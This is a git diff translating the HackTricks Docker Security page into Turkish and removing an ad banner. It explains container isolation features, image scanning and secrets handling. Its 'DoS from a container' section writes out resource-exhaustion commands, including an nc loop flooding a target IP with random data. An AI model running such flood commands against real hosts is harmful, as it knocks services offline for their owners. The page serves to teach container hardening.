mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l
This commit is contained in:
parent
04579e34db
commit
a459985d86
File diff suppressed because it is too large
Load Diff
@ -1,57 +1,46 @@
|
||||
# Docker Security
|
||||
# Docker Güvenliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
## **Temel Docker Motoru Güvenliği**
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups** özelliklerini kullanarak temel bir güvenlik katmanı sunar. Ek koruma, **Capabilities dropping**, **Seccomp** ve **SELinux/AppArmor** ile sağlanarak konteyner izolasyonunu artırır. Bir **auth plugin** kullanıcı eylemlerini daha da kısıtlayabilir.
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||

|
||||
|
||||
## **Basic Docker Engine Security**
|
||||
### Docker Motoruna Güvenli Erişim
|
||||
|
||||
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions.
|
||||
|
||||

|
||||
|
||||
### Secure Access to Docker Engine
|
||||
|
||||
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
|
||||
|
||||
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
|
||||
Docker motoruna, yerel olarak bir Unix soketi üzerinden veya uzaktan HTTP kullanarak erişilebilir. Uzaktan erişim için, gizliliği, bütünlüğü ve kimlik doğrulamayı sağlamak amacıyla HTTPS ve **TLS** kullanmak önemlidir.
|
||||
|
||||
Docker motoru, varsayılan olarak `unix:///var/run/docker.sock` adresindeki Unix soketinde dinler. Ubuntu sistemlerinde, Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API'sine ve istemcisine uzaktan erişimi etkinleştirmek için, Docker daemon'unu bir HTTP soketi üzerinden açmak amacıyla aşağıdaki ayarları ekleyin:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
Ancak, Docker daemon'ını HTTP üzerinden açmak güvenlik endişeleri nedeniyle önerilmez. Bağlantıları HTTPS kullanarak güvence altına almak tavsiye edilir. Bağlantıyı güvence altına almanın iki ana yaklaşımı vardır:
|
||||
|
||||
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection:
|
||||
1. İstemci, sunucunun kimliğini doğrular.
|
||||
2. Hem istemci hem de sunucu, birbirlerinin kimliğini karşılıklı olarak doğrular.
|
||||
|
||||
1. The client verifies the server's identity.
|
||||
2. Both the client and server mutually authenticate each other's identity.
|
||||
Sunucunun kimliğini doğrulamak için sertifikalar kullanılır. Her iki yöntem için ayrıntılı örnekler için [**bu kılavuza**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) bakın.
|
||||
|
||||
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
### Konteyner Görüntülerinin Güvenliği
|
||||
|
||||
### Security of Container Images
|
||||
Konteyner görüntüleri özel veya genel depolarda saklanabilir. Docker, konteyner görüntüleri için birkaç depolama seçeneği sunar:
|
||||
|
||||
Container images can be stored in either private or public repositories. Docker offers several storage options for container images:
|
||||
- [**Docker Hub**](https://hub.docker.com): Docker'dan bir genel kayıt hizmeti.
|
||||
- [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmalarına olanak tanıyan açık kaynaklı bir proje.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleri ile entegrasyon sunan Docker'ın ticari kayıt teklifi.
|
||||
|
||||
- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker.
|
||||
- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
|
||||
### Görüntü Tarama
|
||||
|
||||
### Image Scanning
|
||||
Konteynerler, ya temel görüntü nedeniyle ya da temel görüntünün üzerine kurulu yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapan ve açıkları listeleyen **Nautilus** adlı bir proje üzerinde çalışıyor. Nautilus, her konteyner görüntü katmanını güvenlik açıkları deposu ile karşılaştırarak güvenlik açıklarını tanımlar.
|
||||
|
||||
Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes.
|
||||
|
||||
For more [**information read this**](https://docs.docker.com/engine/scan/).
|
||||
Daha fazla [**bilgi için bunu okuyun**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
- **`docker scan`**
|
||||
|
||||
The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image:
|
||||
|
||||
**`docker scan`** komutu, mevcut Docker görüntülerini görüntü adı veya kimliği kullanarak taramanıza olanak tanır. Örneğin, hello-world görüntüsünü taramak için aşağıdaki komutu çalıştırın:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
@ -67,103 +56,82 @@ Licenses: enabled
|
||||
|
||||
Note that we do not currently have vulnerability data for your image.
|
||||
```
|
||||
|
||||
- [**`trivy`**](https://github.com/aquasecurity/trivy)
|
||||
|
||||
```bash
|
||||
trivy -q -f json <container_name>:<tag>
|
||||
```
|
||||
|
||||
- [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
|
||||
|
||||
```bash
|
||||
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
|
||||
```
|
||||
|
||||
- [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
|
||||
|
||||
```bash
|
||||
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
||||
```
|
||||
|
||||
### Docker Image Signing
|
||||
|
||||
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation:
|
||||
Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte kısaca bir açıklama:
|
||||
|
||||
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io).
|
||||
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later.
|
||||
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
|
||||
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
|
||||
|
||||
To back up your private keys, use the command:
|
||||
- **Docker Content Trust**, imaj imzalamayı yönetmek için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakın.
|
||||
- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürüm 1.10 ve sonrasında varsayılan olarak kapalıdır.
|
||||
- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yüklemesi, kök ve etiketleme anahtarları için şifre belirlemeyi gerektirir; Docker ayrıca artırılmış güvenlik için Yubikey'i destekler. Daha fazla ayrıntı [burada](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) bulunabilir.
|
||||
- İçerik güveni etkinken imzasız bir imaj çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır.
|
||||
- İlk imaj yüklemesinden sonraki imaj yüklemeleri için, Docker imajı imzalamak üzere depo anahtarının şifresini ister.
|
||||
|
||||
Özel anahtarlarınızı yedeklemek için şu komutu kullanın:
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
Docker ana bilgisayarlarını değiştirirken, işlemleri sürdürmek için kök ve depo anahtarlarını taşımak gereklidir.
|
||||
|
||||
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations.
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
||||
## Containers Security Features
|
||||
## Konteyner Güvenlik Özellikleri
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Summary of Container Security Features</summary>
|
||||
<summary>Konteyner Güvenlik Özelliklerinin Özeti</summary>
|
||||
|
||||
**Main Process Isolation Features**
|
||||
**Ana Süreç İzolasyon Özellikleri**
|
||||
|
||||
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts:
|
||||
Konteynerleştirilmiş ortamlarda, projeleri ve bunların süreçlerini izole etmek güvenlik ve kaynak yönetimi için çok önemlidir. İşte ana kavramların basitleştirilmiş bir açıklaması:
|
||||
|
||||
**Namespaces**
|
||||
**Ad Alanları**
|
||||
|
||||
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers.
|
||||
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does.
|
||||
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry.
|
||||
- **Amaç**: Süreçler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin süreçlerini ana bilgisayardan ve diğer konteynerlerden ayrı tutar.
|
||||
- **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır, bu da ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğrudan engellemese de, Docker engeller.
|
||||
- **Sınırlama**: Yeni ad alanları oluşturmak, bir sürecin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayar ad alanlarına girmek için genellikle ana bilgisayarın `/proc` dizinine erişim gereklidir ve giriş için `nsenter` kullanılır.
|
||||
|
||||
**Control Groups (CGroups)**
|
||||
**Kontrol Grupları (CGrupları)**
|
||||
|
||||
- **Function**: Primarily used for allocating resources among processes.
|
||||
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access.
|
||||
- **Fonksiyon**: Öncelikle süreçler arasında kaynak tahsis etmek için kullanılır.
|
||||
- **Güvenlik Boyutu**: CGrupları kendileri izolasyon güvenliği sunmaz, yalnızca yanlış yapılandırıldığında yetkisiz erişim için istismar edilebilecek `release_agent` özelliği vardır.
|
||||
|
||||
**Capability Drop**
|
||||
**Yetenek Düşürme**
|
||||
|
||||
- **Importance**: It's a crucial security feature for process isolation.
|
||||
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions.
|
||||
|
||||
These are the **remaining capabilities** after the process drop the others:
|
||||
- **Önemi**: Süreç izolasyonu için kritik bir güvenlik özelliğidir.
|
||||
- **Fonksiyonalite**: Belirli yetenekleri düşürerek bir kök sürecin gerçekleştirebileceği eylemleri kısıtlar. Bir süreç kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması, ayrıcalıklı eylemleri gerçekleştirmesini engeller, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur.
|
||||
|
||||
Bunlar, süreç diğerlerini düşürdükten sonra **kalan yeteneklerdir**:
|
||||
```
|
||||
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
|
||||
```
|
||||
|
||||
**Seccomp**
|
||||
|
||||
It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\
|
||||
The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
Docker'da varsayılan olarak etkinleştirilmiştir. Bu, **süreçlerin çağırabileceği syscalls'ı daha da sınırlamaya** yardımcı olur.\
|
||||
**Varsayılan Docker Seccomp profili** [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir.
|
||||
|
||||
**AppArmor**
|
||||
|
||||
Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Docker'ı etkinleştirebileceğiniz bir şablon vardır: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
This will allow to reduce capabilities, syscalls, access to files and folders...
|
||||
Bu, yetenekleri, syscalls'ı, dosyalara ve klasörlere erişimi azaltmanıza olanak tanır...
|
||||
|
||||
</details>
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces.
|
||||
**Namespaces**, **çekirdek kaynaklarını** **bölümlere ayıran** Linux çekirdek özelliğidir; böylece bir **süreç** seti bir **kaynak** setini **görürken**, **diğer** bir **süreç** seti **farklı** bir kaynak setini görür. Bu özellik, bir kaynak ve süreç seti için aynı namespace'e sahip olarak çalışır, ancak bu namespace'ler farklı kaynaklara atıfta bulunur. Kaynaklar birden fazla alanda var olabilir.
|
||||
|
||||
Docker makes use of the following Linux kernel Namespaces to achieve Container isolation:
|
||||
Docker, konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Namespaces'lerini kullanır:
|
||||
|
||||
- pid namespace
|
||||
- mount namespace
|
||||
@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i
|
||||
- ipc namespace
|
||||
- UTS namespace
|
||||
|
||||
For **more information about the namespaces** check the following page:
|
||||
**Namespaces hakkında daha fazla bilgi** için aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
namespaces/
|
||||
@ -179,62 +147,58 @@ namespaces/
|
||||
|
||||
### cgroups
|
||||
|
||||
Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\
|
||||
Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000.
|
||||
|
||||
Linux çekirdek özelliği **cgroups**, bir dizi süreç arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza olanak tanır.\
|
||||
Aşağıda, kullanıcı alanı belleği 500m ile sınırlı, çekirdek belleği 50m ile sınırlı, cpu payı 512, blkioweight 400 olan bir Konteyner oluşturulmuştur. CPU payı, Konteyner’in CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığı vardır. Üç Konteyner 1024 CPU payına sahipse, her Konteyner CPU kaynak rekabeti durumunda %33'e kadar CPU alabilir. blkio-weight, Konteyner’in IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığı vardır.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
||||
To get the cgroup of a container you can do:
|
||||
|
||||
Bir konteynerin cgroup'unu almak için şunları yapabilirsiniz:
|
||||
```bash
|
||||
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
|
||||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
|
||||
```
|
||||
|
||||
For more information check:
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
cgroups.md
|
||||
{{#endref}}
|
||||
|
||||
### Capabilities
|
||||
### Yetenekler
|
||||
|
||||
Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user.
|
||||
Yetenekler, **root kullanıcısı için izin verilebilecek yetenekler üzerinde daha ince bir kontrol sağlar**. Docker, **bir konteyner içinde yapılabilecek işlemleri sınırlamak için Linux çekirdek yetenek özelliğini** kullanır, kullanıcı türünden bağımsız olarak.
|
||||
|
||||
When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape:
|
||||
Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak için kullanabileceği hassas yetenekleri bırakır**. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğini ve kaçamayacağını sağlamaya çalışır:
|
||||
|
||||
{{#ref}}
|
||||
../linux-capabilities.md
|
||||
{{#endref}}
|
||||
|
||||
### Seccomp in Docker
|
||||
### Docker'da Seccomp
|
||||
|
||||
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container:
|
||||
Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sınırlamasına** olanak tanıyan bir güvenlik özelliğidir:
|
||||
|
||||
{{#ref}}
|
||||
seccomp.md
|
||||
{{#endref}}
|
||||
|
||||
### AppArmor in Docker
|
||||
### Docker'da AppArmor
|
||||
|
||||
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.:
|
||||
**AppArmor**, **konteynerleri** **sınırlı** bir **kaynak** setine **per-program profilleri** ile hapsetmek için bir çekirdek geliştirmesidir.:
|
||||
|
||||
{{#ref}}
|
||||
apparmor.md
|
||||
{{#endref}}
|
||||
|
||||
### SELinux in Docker
|
||||
### Docker'da SELinux
|
||||
|
||||
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object.
|
||||
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system.
|
||||
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`.
|
||||
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`.
|
||||
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`.
|
||||
- **Etiketleme Sistemi**: SELinux, her işleme ve dosya sistemi nesnesine benzersiz bir etiket atar.
|
||||
- **Politika Uygulaması**: Bir işlem etiketinin sistem içindeki diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular.
|
||||
- **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında, genellikle sınırlı bir SELinux etiketi olan `container_t` atanır.
|
||||
- **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir.
|
||||
- **Politika Kuralları**: SELinux politikası esasen `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşimde bulunabileceğini garanti eder.
|
||||
|
||||
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises.
|
||||
Bu mekanizma, bir konteyner içindeki bir işlem tehlikeye girse bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunmakla sınırlı kalmasını sağlar ve bu tür tehlikelerin potansiyel zararını önemli ölçüde sınırlar.
|
||||
|
||||
{{#ref}}
|
||||
../selinux.md
|
||||
@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised,
|
||||
|
||||
### AuthZ & AuthN
|
||||
|
||||
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts:
|
||||
Docker'da, bir yetkilendirme eklentisi, Docker daemon'una yapılan istekleri kabul etme veya engelleme kararını vererek güvenlikte kritik bir rol oynar. Bu karar, iki ana bağlamı inceleyerek verilir:
|
||||
|
||||
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves.
|
||||
- **Command Context**: This comprises all pertinent data related to the request being made.
|
||||
- **Kimlik Doğrulama Bağlamı**: Bu, kullanıcının kim olduğu ve kendini nasıl kimlik doğruladığı gibi kapsamlı bilgileri içerir.
|
||||
- **Komut Bağlamı**: Bu, yapılan istekle ilgili tüm ilgili verileri içerir.
|
||||
|
||||
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations.
|
||||
Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcıların meşru isteklerinin işlenmesini sağlamaya yardımcı olur ve Docker işlemlerinin güvenliğini artırır.
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
{{#endref}}
|
||||
|
||||
## DoS from a container
|
||||
## Bir konteynerden DoS
|
||||
|
||||
If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running.
|
||||
Eğer bir konteynerin kullanabileceği kaynakları düzgün bir şekilde sınırlamazsanız, tehlikeye giren bir konteyner, çalıştığı ana makineyi DoS yapabilir.
|
||||
|
||||
- CPU DoS
|
||||
|
||||
```bash
|
||||
# stress-ng
|
||||
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
|
||||
@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
||||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
|
||||
- Bandwidth DoS
|
||||
|
||||
- Bant Genişliği DoS
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## İlginç Docker Bayrakları
|
||||
|
||||
## Interesting Docker Flags
|
||||
### --privileged bayrağı
|
||||
|
||||
### --privileged flag
|
||||
|
||||
In the following page you can learn **what does the `--privileged` flag imply**:
|
||||
Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğrenebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
docker-privileged.md
|
||||
@ -287,16 +247,13 @@ docker-privileged.md
|
||||
|
||||
#### no-new-privileges
|
||||
|
||||
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it.
|
||||
|
||||
Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**.
|
||||
Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim sağladığı bir konteyner çalıştırıyorsanız. Eğer **yanlış yapılandırılmış bir suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve **konteyner içinde ayrıcalıkları artırabilir**. Bu, onun konteynerden kaçmasına izin verebilir.
|
||||
|
||||
Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, **bu tür ayrıcalık artışını önleyecektir**.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
||||
#### Other
|
||||
|
||||
#### Diğer
|
||||
```bash
|
||||
#You can manually add/drop capabilities with
|
||||
--cap-add
|
||||
@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
## Diğer Güvenlik Dikkatleri
|
||||
|
||||
## Other Security Considerations
|
||||
### Gizli Bilgilerin Yönetimi: En İyi Uygulamalar
|
||||
|
||||
### Managing Secrets: Best Practices
|
||||
Gizli bilgileri doğrudan Docker imajlarına gömmekten veya ortam değişkenleri kullanmaktan kaçınmak çok önemlidir, çünkü bu yöntemler hassas bilgilerinizi `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkesin erişimine açar.
|
||||
|
||||
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`.
|
||||
**Docker hacimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, `docker inspect` ve günlükleme ile ilişkili riskleri azaltarak, bellek içinde geçici bir dosya sistemi olarak kullanılabilir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar yine de gizli bilgilere erişebilir.
|
||||
|
||||
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets.
|
||||
**Docker gizli bilgileri**, hassas bilgileri yönetmek için daha güvenli bir yöntem sunar. İmaj oluşturma aşamasında gizli bilgilere ihtiyaç duyan örnekler için, **BuildKit** yapı zamanı gizli bilgileri destekleyen verimli bir çözüm sunarak, yapı hızını artırır ve ek özellikler sağlar.
|
||||
|
||||
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features.
|
||||
BuildKit'i kullanmak için üç şekilde etkinleştirilebilir:
|
||||
|
||||
To leverage BuildKit, it can be activated in three ways:
|
||||
|
||||
1. Through an environment variable: `export DOCKER_BUILDKIT=1`
|
||||
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
|
||||
|
||||
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
|
||||
1. Bir ortam değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1`
|
||||
2. Komutları öne ekleyerek: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Docker yapılandırmasında varsayılan olarak etkinleştirerek: `{ "features": { "buildkit": true } }`, ardından Docker'ı yeniden başlatarak.
|
||||
|
||||
BuildKit, `--secret` seçeneği ile yapı zamanı gizli bilgilerin kullanılmasına olanak tanır ve bu gizli bilgilerin imaj oluşturma önbelleğine veya nihai imaja dahil edilmemesini sağlar, şu komut gibi:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
|
||||
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
|
||||
|
||||
Çalışan bir konteynerde gereken gizli bilgiler için, **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır; bu, bir `docker-compose.yml` örneğinde gösterilmiştir:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
my_service:
|
||||
image: centos:7
|
||||
entrypoint: "cat /run/secrets/my_secret"
|
||||
secrets:
|
||||
- my_secret
|
||||
my_service:
|
||||
image: centos:7
|
||||
entrypoint: "cat /run/secrets/my_secret"
|
||||
secrets:
|
||||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
- my_secret
|
||||
secrets:
|
||||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
